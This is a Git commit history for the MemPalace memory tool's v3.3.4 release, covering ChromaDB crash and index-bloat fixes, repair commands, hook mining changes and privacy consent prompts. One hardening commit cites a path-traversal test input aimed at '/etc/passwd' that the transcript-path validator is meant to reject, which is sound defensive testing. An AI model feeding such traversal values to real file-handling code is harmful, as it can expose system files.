266 Commits
Author SHA1 Message Date
Milla J d53129ed12 Merge pull request #1232 from MemPalace/chore/release-3.3.4-prep
chore(release): v3.3.4
2026-04-30 20:30:54 -07:00
Igor Lins e Silva 58da0b15c3 docs(changelog): extend #1262 entry to cover #1289 MCP server companion
The same try/except split that #1262 applied at the backend layer
(ChromaBackend.get_collection) was needed at the parallel call site
in mcp_server._get_collection(create=True), which carries the same
metadata payload directly to chromadb's Python client. Both reopen
paths in mempalace now bypass get_or_create_collection on existing
collections, closing the SIGSEGV class for both tool_add_drawer
and tool_diary_write (the Stop hook's path).
2026-04-30 23:28:06 -03:00
Igor Lins e Silva 7a466054b6 Merge remote-tracking branch 'origin/develop' into chore/release-3.3.4-prep 2026-04-30 23:26:50 -03:00
Igor Lins e Silva 942f9ababa docs(changelog): bump 3.3.4 release date to 2026-04-30
The release was originally cut on 2026-04-27 but did not tag that day.
Three additional bug fixes have been folded in since then (#1262,
#1287, #1288) and the actual tag will happen on 2026-04-30. Update
the header date to match.
2026-04-30 22:58:51 -03:00
Igor Lins e Silva 95b60b8316 docs(changelog): add 3.3.4 entries for #1262, #1287, #1288
Three fixes landed on develop after the initial release-prep cut and
were brought in via the develop merge. Document them in the 3.3.4
Bug Fixes section so the release notes reflect what users will
actually receive.

- #1287 - HNSW divergence floor scales with hnsw:sync_threshold
  (resolves a silent-fallback regression introduced by the
  interaction between #1191 and #1227 in this release)
- #1262 - ChromaBackend get_or_create_collection split, fixing the
  stop-hook SIGSEGV class on legacy palaces with mismatched stored
  metadata (#1089)
- #1288 / #1254 - repair --mode max-seq-id heuristic now decodes
  BLOB-typed embeddings.seq_id, restoring the un-poison path added
  in #1135 for palaces where chromadb 1.5.x writes seq_ids natively
2026-04-30 22:57:19 -03:00
Igor Lins e Silva 3f254a5c31 Merge branch 'develop' into chore/release-3.3.4-prep 2026-04-30 22:54:58 -03:00
Igor Lins e Silva 5e540da06b Merge pull request #1289 from MemPalace/fix/mcp-server-collection-reopen-crash
fix(mcp_server): split get_or_create_collection on reopen (follow-up to #1262)
2026-04-30 22:41:24 -03:00
Igor Lins e Silva 9dd56ecb0a fix(mcp_server): split get_or_create_collection on reopen (follow-up to #1262)
#1262 split `get_or_create_collection` into `get_collection` + fallback
`create_collection` inside `ChromaBackend.get_collection`, fixing the
chromadb 1.5.x Rust-binding SIGSEGV that fires when stored collection
metadata differs from the call-site's `_HNSW_BLOAT_GUARD` payload.

The MCP server's `_get_collection(create=True)` carries the same metadata
payload at `mcp_server.py:287` and routes through chromadb's Python
client directly, bypassing the backend layer. Both `tool_add_drawer`
and `tool_diary_write` reach this site on every invocation, and the
Stop hook fires `mempalace_diary_write` at session end — which was
exactly the crash path #1089 named.

Apply the same try/except split here so legacy palaces whose stored
metadata predates the bloat-guard expansion no longer crash on the
MCP-server reopen path. Regression test patches
`get_or_create_collection` at the chromadb client class level (not the
instance — chromadb's mtime-change detection rebuilds the client between
calls, so an instance-level spy doesn't survive) and asserts the second
`_get_collection(create=True)` call never reaches it.
2026-04-30 22:35:18 -03:00
Igor Lins e Silva 73541d1606 Merge pull request #1262 from Legion345/fix/stop-hook-crash
fix(storage): stop ChromaDB from crashing when reopening an existing …
2026-04-30 22:30:08 -03:00
Igor Lins e Silva 96bb80a356 Merge pull request #1287 from messelink/fix/hnsw-divergence-scales-with-sync-threshold
fix(repair): scale HNSW divergence floor with hnsw:sync_threshold
2026-04-30 22:28:07 -03:00
Igor Lins e Silva 7bc6090026 Merge pull request #1288 from MemPalace/fix/repair-max-seq-id-blob-heuristic
fix(repair): decode BLOB embeddings.seq_id in max-seq-id heuristic (#1254)
2026-04-30 22:23:21 -03:00
Igor Lins e Silva 3b5ebcc9fc fix(repair): decode BLOB embeddings.seq_id in max-seq-id heuristic (#1254)
`_compute_heuristic_seq_id` ran `int(row[0])` directly on the result
of `MAX(e.seq_id)`. On palaces where chromadb 1.5.x has been writing
seq_ids natively (8-byte big-endian uint64 BLOB), that raises
`ValueError: invalid literal for int() with base 10: b'...'` before
the dry-run can print, leaving users with no path through the
recovery feature added in #1135 — the only documented un-poison
route for palaces hit by the original PR #664 shim bug.

Decode BLOB return values via `int.from_bytes(val, "big")` and
keep the existing `int(val)` path for INTEGER rows. Regression
test seeds a BLOB row in `embeddings.seq_id` and asserts the
heuristic surfaces the correct integer.
2026-04-30 22:04:41 -03:00
Pim MesselinkandClaude Opus 4.7 4a0f330cc1 fix(repair): scale HNSW divergence floor with hnsw:sync_threshold
The capacity probe added in #1227 hardcoded a 2,000-row floor for the
"diverged" decision. The comment justifying that number explicitly tied
it to chromadb's *default* sync_threshold of 1,000 — "Two synchronization
windows worth (2 × sync_threshold = 2000) is a safe steady-state ceiling".

#1191 then bumped sync_threshold to 50,000 via _HNSW_BLOAT_GUARD without
updating the floor. Result: any palace created with the bloat guard
flips between OK and DIVERGED on every flush cycle. Steady-state
divergence sits at 0–50K (the natural queue depth), and the 2,000 floor
trips the guardrail the moment the queue exceeds 10% of sqlite_count.
The MCP server then routes search to BM25-only and disables duplicate
detection for ~80% of the write cycle on actively-mined ≥100K palaces,
even though chromadb is behaving correctly.

This change reads the configured `hnsw:sync_threshold` from
`collection_metadata` per palace and scales the floor to 2 × that value.
The 10% relative term and the original #1222 detection capability are
unchanged — a 91%-missing-of-192K palace (the actual #1222 reproducer)
still trips, regardless of whether the collection was created with
sync_threshold=1000 or 50000.

Behavior summary:

| Collection's sync_threshold | New floor | Old floor |
|---|---|---|
| Missing (legacy palace)     | 2000      | 2000 (unchanged)
| 1000 (chromadb default)     | 2000      | 2000 (unchanged)
| 50000 (#1191 bloat guard)   | 100000    | 2000 (the bug)

Tests:
- test_capacity_status_tolerates_lag_under_large_sync_threshold (regression
  for the #1191/#1227 conflict — 100K sqlite + 50K HNSW + sync=50K → OK)
- test_capacity_status_still_flags_real_corruption_under_large_sync (#1222
  shape with bloat-guard collection — still detects corruption)
- test_capacity_status_default_threshold_when_no_sync_metadata (legacy
  palaces without the metadata row use the 2000 fallback floor)
- test_unflushed_path_also_uses_dynamic_floor (the never-flushed branch
  scales too — 30K under sync_threshold=50000 is no longer flagged)

All 18 pre-existing tests in tests/test_hnsw_capacity.py and 45 tests
in tests/test_backends.py still pass.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-01 00:31:47 +00:00
Igor Lins e Silva 37f373124e style: ruff format three test files 2026-04-28 22:18:22 -03:00
Igor Lins e Silva d7ca3c59a3 docs(changelog): drop #1232 self-reference from auto-ingest entry
The PR documenting the fix is #1232; referencing it from inside its
own changelog entry is circular.
2026-04-28 21:53:28 -03:00
Igor Lins e Silva 446795ab0c docs(changelog): drop duplicate max_seq_id entry from shipped 3.3.0
The fix landed this cycle and is documented under 3.3.4. The 3.3.0
Bug Fixes block is shipped history and shouldn't grow new entries
retroactively.
2026-04-28 21:52:49 -03:00
copilot-swe-agent[bot]andigorls 4cfbd60639 fix: address release review feedback
Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/01a1089d-da46-4dc8-85e8-d7e50763dd58

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-28 23:23:18 +00:00
Legion345 d7f4638157 fix(storage): stop ChromaDB from crashing when reopening an existing palace 2026-04-28 13:08:04 -07:00
Igor Lins e Silva fdfaf017ab Merge pull request #1234 from MemPalace/feat/normalize-gemini-cli
feat(normalize): Gemini CLI session JSONL adapter
2026-04-27 20:42:06 -03:00
copilot-swe-agent[bot]andigorls e7fe6cae14 fix(normalize): discard user/gemini turns before session_metadata sentinel
Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/4511e9aa-38e7-440e-a6f8-eda91e576f0f

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-27 21:41:48 +00:00
copilot-swe-agent[bot]andigorls a3e3691e86 docs(normalize): add Gemini CLI JSONL to module-level supported formats list
Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/a32f48bb-2a78-494a-9698-e69304732d3f

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-27 19:00:18 +00:00
Igor Lins e Silva 4ffd0bd57a Merge pull request #1233 from MemPalace/feat/privacy-consent-prompt
feat(privacy): blocking consent gate for env-fallback LLM API keys
2026-04-27 15:54:11 -03:00
MSL f4440f1ce0 feat(normalize): Gemini CLI session JSONL adapter
Adds a fifth format adapter to mempalace.normalize alongside the
existing Claude Code, Codex, Claude.ai, ChatGPT, and Slack parsers.
After this lands, mempalace mine --mode convos ingests Gemini CLI
session history without manual export.

Why now: Claude Code and Codex CLI are already supported by convo_miner;
adding Gemini closes the major-CLI-tool coverage gap. After this lands,
the README's "verbatim conversation history" promise is honestly
delivered for all three top-tier API-keyed coding CLIs (Claude Code,
Codex CLI, Gemini CLI), not just two of them. This is the third leg
of the trio Aya pushed for so the public claim matches the actual
ingest pipeline.

Gemini CLI stores sessions at ~/.gemini/tmp/<project_hash>/chats/ as
JSONL. The on-disk schema (per google-gemini/gemini-cli#15292):

    {"type":"session_metadata","sessionId":"...","projectHash":"...",...}
    {"type":"user","id":"msg1","content":[{"text":"Hello"}]}
    {"type":"gemini","id":"msg2","content":[{"text":"Hi"}]}
    {"type":"message_update","id":"msg2","tokens":{"input":10,"output":5}}

The new _try_gemini_jsonl parser:

  - requires a session_metadata record so it does not false-positive
    against Claude Code or Codex JSONL passing through the dispatch
    chain in _try_normalize_json
  - extracts user/gemini message text from each entry's content array
    of {"text": "..."} blocks, joining multiple blocks per message
    in order
  - skips message_update entries (token-count deltas with no message
    text) and any other unknown record types
  - returns None when fewer than two conversational messages are
    present, mirroring the codex parser's >=2-message guard

Test coverage: 9 new unit tests in tests/test_normalize.py mirroring
the codex test pattern - happy path, multi-turn, missing session
metadata, message_update skip, single-message rejection, multi-block
content concatenation, empty content skip, malformed-line resilience,
and explicit no-match against codex JSONL fixtures. Schema-level only;
real Gemini CLI session fixtures are a follow-up once a real user file
is available.

Closes part of #59 (the Gemini CLI portion of the umbrella request).
2026-04-27 01:25:03 -07:00
MSL 72cbfb5967 feat(privacy): blocking consent gate for env-fallback LLM API keys
Adds api_key_source provenance ('flag' | 'env' | None) to LLMProvider
so cmd_init can distinguish a key passed via --llm-api-key (explicit
opt-in) from one silently picked up via OPENAI_API_KEY / ANTHROPIC_API_KEY
shell env (stray credential).

When the endpoint is external AND api_key_source == 'env', init now
prints a blocking [y/N] prompt before any data is sent. Anything other
than 'y' drops the LLM and falls back to heuristics-only.

Adds --accept-external-llm flag for CI / non-interactive bypass.

Completes the UX gap in #1224: the URL-based warning was informational
and init kept running, so a user who didn't notice the line had already
leaked. The consent prompt is the actual gate; explicit flag-passed keys
remain treated as already-consented.
2026-04-27 00:44:57 -07:00
Igor Lins e Silva 7a61ac75a4 chore(release): v3.3.4
Bumps every version source from 3.3.3 to 3.3.4:
- pyproject.toml
- mempalace/version.py (canonical)
- .claude-plugin/plugin.json
- .claude-plugin/marketplace.json
- .codex-plugin/plugin.json
- README.md badge

Dates the CHANGELOG section and adds entries for the bug fixes that
landed this cycle (#1135, #1191, #1230, #1231) plus expands the #1194
entry to credit the lookup-side recovery path from #1197.

Pre-tag verification:
- 1441 passed, 1 skipped (full suite minus benchmarks, all platforms)
- ruff check + format clean
- 44/44 in test_version_consistency + test_readme_claims (6-file sync)
- JPH invariant: pyproject.toml + .claude-plugin/plugin.json both
  reference mempalace-mcp
- Wheel build + fresh-venv install: mempalace --version reports 3.3.4,
  mempalace-mcp --help works (catches the v3.3.2-class regression)
2026-04-27 03:46:25 -03:00
Igor Lins e Silva de7801ecff Merge pull request #1191 from funguf/fix/hnsw-index-bloat-rebased
fix: prevent HNSW index bloat from resize+persist cycles
2026-04-27 03:37:57 -03:00
Igor Lins e Silva 003e569b39 Merge pull request #1135 from sha2fiddy/feature/max-seq-id-shim-fix
fix: narrow `_fix_blob_seq_ids` + add `repair --mode max-seq-id`
2026-04-27 03:21:49 -03:00
Igor Lins e Silva c3ec708b12 Merge pull request #1197 from wahajahmed010/fix/1194-hyphenated-wing-tunnels
fix(tunnels): normalize wing names in topic tunnel lookup for hyphenated dirs
2026-04-27 03:21:16 -03:00
Igor Lins e Silva f80c9ffa56 Merge pull request #1195 from MemPalace/fix/wing-name-normalization-tunnels
fix(graph): normalize wing slug at init so topic tunnels fire for hyphenated dirs (#1194)
2026-04-27 03:20:46 -03:00
igorls 342270d6e5 fix(palace_graph): defer annotation eval for Python 3.9 compat
``def _normalize_wing(wing: str | None) -> str | None`` uses PEP 604
union syntax which requires Python 3.10+ at runtime. The project still
declares ``python_requires=">=3.9"`` and CI runs the test-linux (3.9)
matrix, where every test in ``tests/test_palace_graph*`` errors out
before collection with ``TypeError: unsupported operand type(s) for |``.

Added ``from __future__ import annotations`` so all annotations in
this module are evaluated lazily as strings — the union syntax is then
accepted on 3.9 without needing to rewrite to ``Optional[str]``.

Surfaced after rebasing this PR onto current develop.
2026-04-27 03:15:09 -03:00
igorls cfca40c5ec test(cli): mock _run_pass_zero so wing-name test survives corpus-origin
cmd_init now invokes ``_run_pass_zero`` unconditionally (#1221, #1223
landed on develop after this PR's branch point). The pass reads sample
content via ``builtins.open``; with that mocked to MagicMock, the
downstream ``"\\n\\n".join(samples)`` in
``corpus_origin.detect_origin_heuristic`` raises
``TypeError: expected str instance, MagicMock found``.

This test only cares about the wing-slug write to the registry, so
stub the pass-zero call directly rather than try to satisfy its full
sample-gathering contract.
2026-04-27 03:14:02 -03:00
Igor Lins e SilvaandClaude Opus 4.7 3bebef1503 fix(miner,convo_miner): close remaining wing-name normalization gaps (#1194)
Two follow-ups against the review on this PR:

1. ``miner.load_config`` no-yaml fallback was returning the raw dirname
   as the wing, while ``cmd_init`` writes ``topics_by_wing`` under the
   normalized slug. A hyphenated project mined without a ``mempalace.yaml``
   file silently lost every topic tunnel — same key-miss class as #1194,
   just down the no-yaml branch (raised by Qodo on this PR).

2. ``convo_miner`` was applying the lower/replace rule inline at one
   call site. Now folded through ``normalize_wing_name`` so all wing-slug
   producers — ``cmd_init``, ``room_detector_local``, ``miner.load_config``
   fallback, ``convo_miner`` — share a single source of truth. No
   behavior change for any input; pure consolidation.

Added ``test_load_config_no_yaml_normalizes_hyphenated_wing`` to lock
the fallback path to the normalized slug — fails on develop without
the miner change.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-27 03:12:06 -03:00
bensigandClaude Opus 4.7 b7f0a8af01 fix(graph): normalize wing slug at init so topic tunnels fire for hyphenated dirs (#1194)
`init` was recording `topics_by_wing[<raw-dirname>]` while `mempalace.yaml`
got the lower-cased separator-collapsed slug. At mine time the miner
read the slug from the yaml and missed the registry key, so
`_compute_topic_tunnels_for_wing` returned 0 silently for every project
whose folder contained a `-` or a space — the most common shape in the
wild.

Extracted the rule into `config.normalize_wing_name()` and routed both
`cli.cmd_init` (registry write) and `room_detector_local.detect_rooms_local`
(yaml write) through it. Added a regression test in `test_cli.py`
asserting the registry call uses the normalized slug, plus four direct
unit tests for the helper.

Refs #1180.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-27 03:12:06 -03:00
Wahaj Ahmed 347464146d fix(tunnels): normalize wing names in topic tunnel lookup for hyphenated dirs (#1194) 2026-04-27 03:05:14 -03:00
igorls 04c48dd0fe fix(chroma): write blob-fix marker even when narrowing skips all rows
The narrowed _fix_blob_seq_ids returned early when safe_rows was empty,
but #1177's marker contract requires the marker to be written on every
successful pass — even no-op — so subsequent opens skip the sqlite3
connection entirely. Without this, palaces that have no genuine 0.6.x
BLOBs but DO have sysdb-10-prefixed rows would re-open sqlite3 on every
call, defeating the #1090 corruption guard.

Restructured the conditional so the marker write is unconditional after
a successful sqlite scan, regardless of whether any rows were updated.

Surfaced by test_fix_blob_seq_ids_writes_marker_when_already_integer
during the develop-rebase of this PR. The author's branch predates the
marker contract from #1177 (merged 2026-04-26), so this is a rebase-edge
fix-up rather than a logic change to their narrowing behaviour.
2026-04-27 03:01:41 -03:00
eblander f5c8b095dd fix: narrow _fix_blob_seq_ids shim + add repair --mode max-seq-id
The BLOB-seq_id migration shim (PR #664) ran int.from_bytes(..., 'big')
over every BLOB in max_seq_id, including chromadb 1.5.x's own native
format (b'\x11\x11' + 6 ASCII digits). That conversion yields a ~1.23e18
integer that silently suppresses every subsequent embeddings_queue write
for the affected segment (queue filter is seq_id > start), causing
silent drawer-write drops after a 1.5.x upgrade.

Two-part fix:

1. Shim narrowing (mempalace/backends/chroma.py)
   - Drop max_seq_id from the shim loop. chromadb owns that column's
     format; we don't reinterpret it.
   - Defense-in-depth: skip rows in embeddings whose seq_id BLOB has the
     sysdb-10 b'\x11\x11' prefix rather than misconvert.

2. Recovery command (mempalace/repair.py, mempalace/cli.py)
   - mempalace repair --mode max-seq-id [--segment <uuid>]
     [--from-sidecar <path>] [--dry-run] [--yes] [--no-backup]
   - Detects poisoned rows via threshold (seq_id > 2**53).
   - Default heuristic: MAX(embeddings.seq_id) over the collection owning
     the poisoned segment. Matches METADATA max exactly; VECTOR segments
     get a few seq_ids ahead (queue skips an already-indexed window — an
     acceptable loss vs. resetting to 0 and re-processing everything).
   - --from-sidecar copies clean values from a pre-corruption sqlite db.
   - Backs up chroma.sqlite3, closes chroma handles, atomic UPDATEs,
     post-repair verification that raises MaxSeqIdVerificationError if
     any row is still above threshold.

Tests: 8 new in tests/test_repair.py (detection, heuristic, sidecar,
dry-run, segment filter, no-op, backup, rollback-on-verify-failure).
3 new in tests/test_backends.py (max_seq_id untouched by shim,
sysdb-10 prefix skipped in embeddings, legacy big-endian u64 BLOBs
still convert). Full suite: 1103 passed.
2026-04-27 02:57:01 -03:00
Fergus Chingandrobot-rocket-science 88a53b2ffa fix: prevent HNSW index bloat via batch_size + sync_threshold metadata
Sets `hnsw:batch_size` and `hnsw:sync_threshold` to 50_000 at every
collection-creation call site:

* `mempalace/backends/chroma.py` — `get_collection(create=True)` and the
  legacy `create_collection()` path. Preserves existing `hnsw:space`,
  `hnsw:num_threads=1` (race fix from #976), and `**ef_kwargs`
  (embedding-function plumbing from a4868a3).
* `mempalace/mcp_server.py` — the direct `client.get_or_create_collection`
  path used when a palace is first opened by the MCP server. Without this
  third site, MCP-bootstrapped palaces would skip the guard and could
  still trigger the original bloat.

Without these defaults, mining ~10K+ drawers triggers ~30 HNSW index
resizes and hundreds of persistDirty() calls. persistDirty uses relative
seek positioning in link_lists.bin; accumulated seek drift across resize
cycles causes the OS to extend the sparse file with zero-filled regions,
each cycle compounding the next. Result: link_lists.bin grows into
hundreds of GB sparse, after which `status`, `search`, and `repair` all
segfault and the palace is unrecoverable.

Empirical: rebuilt a palace from scratch on 39,792 drawers across 5
wings with this fix applied. Final palace 376 MB, link_lists.bin stays
at 0 bytes across both Chroma collection dirs, status and search both
return cleanly. Same workload without the fix bloated the palace to
565 GB sparse (30 GB on disk) and segfaulted at ~15K drawers.

Migration note: chromadb 1.5.x exposes a
`collection.modify(configuration={"hnsw": {...}})` retrofit path for
already-created collections (`UpdateHNSWConfiguration`), but this PR
doesn't pursue it — by the time link_lists.bin has bloated the index
is already corrupt and the only known recovery is a fresh mine.

Tests assert both keys land on the persisted collection metadata in
both `ChromaBackend` code paths, which also covers the #1161 "config
silently dropped" concern at CI time. A separate smoke test was used
to verify the metadata round-trips through `chromadb.PersistentClient`
reopen on chromadb 1.5.8.

Closes #344
Supersedes #346

Co-authored-by: robot-rocket-science <robot-rocket-science@users.noreply.github.com>
2026-04-27 02:54:19 -03:00
Igor Lins e Silva bc5d3fa911 Merge pull request #1231 from MemPalace/fix/hooks-convos-additive-mining
fix(hooks): always mine the active transcript as convos, additive to MEMPAL_DIR
2026-04-27 02:49:54 -03:00
Igor Lins e Silva 3deebfed19 test(hooks): skip bash subprocess validator test on Windows
`bash` on the Windows CI runner resolves to `wsl.exe` which fails with
"Windows Subsystem for Linux has no installed distributions." The shell
hooks themselves are POSIX-only — Windows users use the Python entry
point — so the bash-subprocess exercise is non-applicable on win32.

The static-grep validator tests still run on every platform, so the
shell-side validation is still asserted under Windows; only the live
bash invocation is skipped.
2026-04-27 02:45:04 -03:00
Igor Lins e Silva fe56797762 fix(hooks): consolidate transcript ingest, harden shell parsers (#1231 review)
Address Copilot review on #1231:

1. Stop double-mining the transcript on the Python side. ``_get_mine_targets``
   now returns only the ``MEMPAL_DIR`` projects target — the convos target
   for the transcript dir is dropped because ``_ingest_transcript`` already
   handles it on every hook fire. The duplicate spawn was using
   ``sys.executable`` (vs ``_mempalace_python()``) and a different ``--wing``,
   so each Stop/PreCompact event was writing the same transcript into two
   wings under asymmetric interpreters and overwriting the single
   ``_MINE_PID_FILE`` lock.

2. ``_maybe_auto_ingest`` and ``_mine_sync`` now spawn via
   ``_mempalace_python()`` so the resolved interpreter matches the venv
   that owns mempalace (matters under GUI-launched harnesses where
   ``sys.executable`` may resolve to a system Python without chromadb).

3. Replace ``eval $(...)`` in both shell hooks with a ``mapfile``-based
   reader. Sanitized values are still emitted by the same Python parser,
   but the shell now does plain variable assignment instead of executing
   the parser's stdout — smaller blast radius if the sanitizer is ever
   bypassed.

4. Mirror ``_validate_transcript_path`` in the shell hooks via a
   ``is_valid_transcript_path`` helper — extension + traversal-segment
   rejection, parity with the Python validator. The convos mine in each
   shell hook is now gated on the validator instead of bare ``-f``.

5. Tighten the ``..`` traversal test that previously exercised the
   suffix gate by mistake (``../../etc/passwd`` lacks ``.json[l]``).
   Use ``.jsonl`` paths with traversal segments to actually hit the
   ``..`` rejection branch.

6. README: add a one-liner pointing at ``mempalace sweep`` for users
   who want per-message recall on top of the file-level chunks the
   hooks produce. The sweeper was undiscoverable previously.

Tests: 1418 passed, 1 skipped (full suite minus benchmarks).
2026-04-27 02:26:53 -03:00
Igor Lins e Silva 8bb17724a7 Merge pull request #1230 from MemPalace/fix/hooks-convos-mode-1232
fix(hooks): pass --mode convos when mining Claude Code transcript dirs
2026-04-27 02:05:38 -03:00
Igor Lins e Silva eb4de04339 fix(hooks): always mine the active transcript as convos, additive to MEMPAL_DIR
#1230 fixed --mode convos for the case where MEMPAL_DIR was unset, but
left two configurations broken:

  - MEMPAL_DIR set to a project dir: convos never mined (MEMPAL_DIR
    overrode the transcript path); only project files were ingested.
  - MEMPAL_DIR set to a conversations dir per the old hooks/README: the
    projects miner ran on JSONL — same wrong-miner behaviour.

The shell hooks (mempal_save_hook.sh, mempal_precompact_hook.sh) had
the same MEMPAL_DIR-overrides-transcript bug AND were missing --mode
on every spawned `mempalace mine` call.

Make the auto-ingest *additive*. _get_mine_dir → _get_mine_targets,
returning a list of (dir, mode) pairs:

  - MEMPAL_DIR (when valid) contributes (dir, "projects")
  - A valid transcript JSONL contributes (parent, "convos")
  - Both can appear together; the hook spawns one ingest per target

Same change applied to the shell save and precompact hooks. Precompact
also gained transcript_path parsing so it can run the convos mine
synchronously before context is compressed. hooks/README.md updated to
describe MEMPAL_DIR as a project-files target, never a convos target.
2026-04-27 00:32:35 -03:00
copilot-swe-agent[bot]andigorls 6a8beef604 fix(hooks): harden _get_mine_dir path validation
- Normalize MEMPAL_DIR via Path.expanduser().resolve() so ~/proj paths
  are correctly accepted instead of falling through to transcript fallback
- Replace bare Path.expanduser().is_file() transcript check with the
  existing _validate_transcript_path() which adds .resolve(), enforces
  .jsonl/.json extension, and rejects '..' path-traversal components
- Update tests to compare resolved paths (cross-platform correctness)
- Add tests for tilde expansion, path-traversal rejection, and
  non-jsonl extension rejection in _get_mine_dir

Agent-Logs-Url: https://github.com/MemPalace/mempalace/sessions/f69176c7-d752-40ef-ba71-d0e4adc3a689

Co-authored-by: igorls <4753812+igorls@users.noreply.github.com>
2026-04-27 02:40:01 +00:00
Igor Lins e Silva 1e3e89a78f fix(hooks): pass --mode convos when mining a Claude Code transcript dir
The Stop and PreCompact hooks spawn `mempalace mine <dir>` with no
`--mode` flag, which defaults to `projects` in cli.py. When MEMPAL_DIR
is unset, _get_mine_dir falls back to the parent of the transcript
JSONL — and miner.py's READABLE_EXTENSIONS includes `.jsonl`, so the
projects miner happily ingests Claude Code session JSONL as if it were
source code instead of conversation.

Make _get_mine_dir return (dir, mode): MEMPAL_DIR keeps `projects`,
the JSONL fallback yields `convos`. Both _maybe_auto_ingest and
_mine_sync now thread the mode into the spawned command.
2026-04-26 23:25:12 -03:00
Igor Lins e Silva 9dbb4ced83 Merge pull request #1227 from MemPalace/fix/hnsw-capacity-divergence-1222
fix(repair): detect HNSW capacity divergence and fall back to BM25 (#1222)
2026-04-26 21:58:57 -03:00
Igor Lins e Silva 57ac669dbc fix(repair): address Copilot review on #1227
Five Copilot review issues + the Python 3.9 CI failure rolled into one
follow-up:

* Replace ``dict | None`` annotated assignment with a type-comment so
  module load doesn't evaluate PEP 604 syntax on Python 3.9 (CI red).
* Drop ``mempalace repair rebuild`` — the CLI only ships ``mempalace
  repair`` (rebuild) and ``mempalace repair-status``. Updated all
  user-facing messages, docstrings, and test assertions.
* Replace ``_get_client()`` in ``tool_search`` with the safe
  ``_refresh_vector_disabled_flag`` probe so the fallback isn't
  defeated by the very chromadb client load it's trying to avoid.
* Short-circuit ``tool_status`` to a pure-sqlite reader
  (``_tool_status_via_sqlite``) when divergence is detected so wing /
  room counts come back without ever opening the persistent client.
* Wrap the recency-window query in ``_bm25_only_via_sqlite`` with an
  ``id``-ordered fallback so legacy schemas missing ``created_at``
  don't break BM25 search.

New test covers the sqlite-status short-circuit. 1409 tests pass.
2026-04-26 21:53:56 -03:00
Igor Lins e Silva 0d349c3d86 fix(repair): detect HNSW capacity divergence and fall back to BM25 (#1222)
When chromadb's HNSW segment freezes at a stale max_elements while
sqlite keeps accumulating embeddings, the next chromadb open segfaults
the MCP server on every tool call. Adds a pure-filesystem capacity probe
(zero chromadb interaction), a `mempalace repair-status` read-only
health check, and a BM25-only sqlite fallback so the palace stays
reachable even when vector search is unavailable.

* `hnsw_capacity_status` reads sqlite + index_metadata.pickle directly
  via a tight-allowlist unpickler — no hnswlib import, no segment load.
* MCP server runs the probe at startup and after every reconnect; sets
  `_vector_disabled` and routes search to the sqlite FTS5 + BM25 path.
* `tool_status` and `tool_reconnect` surface the fallback state.
* Threshold tuned for chromadb 1.5.x async-flush lag (2× sync_threshold).
2026-04-26 19:54:00 -03:00
Igor Lins e Silva 899a5ec4c6 Merge pull request #1225 from MemPalace/feat/privacy-warn-tailscale-cgnat
feat(privacy): treat Tailscale CGNAT range (100.64.0.0/10) as local
2026-04-26 19:40:58 -03:00
Igor Lins e Silva 22f3d9be30 Merge pull request #1223 from MemPalace/chore/corpus-origin-merge-followup
chore(corpus-origin): tag merged evidence by tier + pin confidence-source contract
2026-04-26 19:39:01 -03:00
MSL a0b7ba005d feat(privacy): treat Tailscale CGNAT range (100.64.0.0/10) as local
2 files changed, 60 insertions, 0 deletions. 2 new tests (RED-first).

Follow-up to #1224's privacy warning. The URL-based heuristic in
``mempalace.llm_client._endpoint_is_local`` shipped without recognizing
Tailscale's CGNAT range (100.64.0.0/10), so a user running LM Studio,
Ollama, or any local LLM accessible via a Tailscale-assigned 100.x.x.x
address would currently get a wrong privacy warning — Tailscale
addresses are network-private (only reachable inside the user's
Tailnet) but they're not RFC1918, so the heuristic was treating them
as external.

This PR adds CGNAT recognition: when the hostname starts with ``100.``
AND the second octet is between 64 and 127 inclusive, it's classified
as local. Addresses in 100.x.x.x outside that range (i.e. second octet
< 64 or > 127) are regular allocated public space and remain external,
so a user pointing at a public 100.0.0.1 still gets the warning.

Concrete user impact:

  Before: ``mempalace init --llm-provider openai-compat --llm-endpoint http://100.100.50.50:1234``
          (LM Studio on Tailnet) → triggers privacy warning incorrectly.

  After:  same command → no warning. data stays inside the user's
          Tailnet, which is what the warning is supposed to protect against.

TDD: 2 tests added in ``tests/test_llm_client.py``, both RED-first.

1. ``test_openai_compat_provider_tailscale_cgnat_endpoint_is_local``
   — covers three Tailscale CGNAT addresses (start, middle, near-end
   of the range) and pins they're all classified local. This was the
   RED that drove the implementation.

2. ``test_openai_compat_provider_outside_tailscale_cgnat_is_external``
   — pins the boundary on both sides: addresses with second octet 0-63
   and 128-255 stay external. Prevents future "treat all 100.x.x.x as
   local" overcorrection.

Tests: 1388 total mempalace tests pass. 2 pre-existing environmental
failures unrelated to this change (chromadb optional dep). Ruff check
+ format both clean.

Backwards compatible: only widens the local-recognition set. Anything
classified local before is still classified local; anything classified
external before remains so unless it's specifically in the CGNAT range.

Out of scope (tracked for future iteration based on real user feedback,
not built speculatively): pre-init confirmation prompt before sending
to external API, persistent ``private-only`` config flag that refuses
external endpoints entirely, explicit cloud-provider name detection
("Using Anthropic's hosted API at ..." vs the current generic warning).
2026-04-26 15:31:44 -07:00
Igor Lins e Silva 5e33592ba2 chore(corpus-origin): address Copilot review on #1223
- cli.py: stringify each evidence entry exactly once before the
  startswith check (was calling str(e) twice per element).
- tests: replace brittle `confidence != 0.90` assertion with an
  equality check against detect_origin_heuristic on the same samples.
  The original would have spuriously fired if the heuristic ever
  legitimately produced 0.90 for these samples; the new form pins the
  contract directly.
2026-04-26 19:18:57 -03:00
Igor Lins e Silva c92256f08f chore(corpus-origin): tag merged evidence by tier + pin confidence-source contract
Two follow-ups to PR #1221's merge-fields behavior, both raised by the
Copilot review on that PR:

- Evidence merge now prefixes each entry with `Tier-1 heuristic: ` or
  `Tier-2 LLM: ` so the on-disk `origin.json` audit record retains tier
  provenance. The pre-#1221 code labeled heuristic evidence; the
  merge-fields refactor flattened that. Re-prefixing is idempotent.

- Tests now assert that the merged `confidence` is the heuristic's, not
  the LLM's. Added inline assertions to the two existing
  contradiction/disagreement tests, plus a dedicated
  `test_merge_tier_fields_confidence_matches_heuristic_call` that
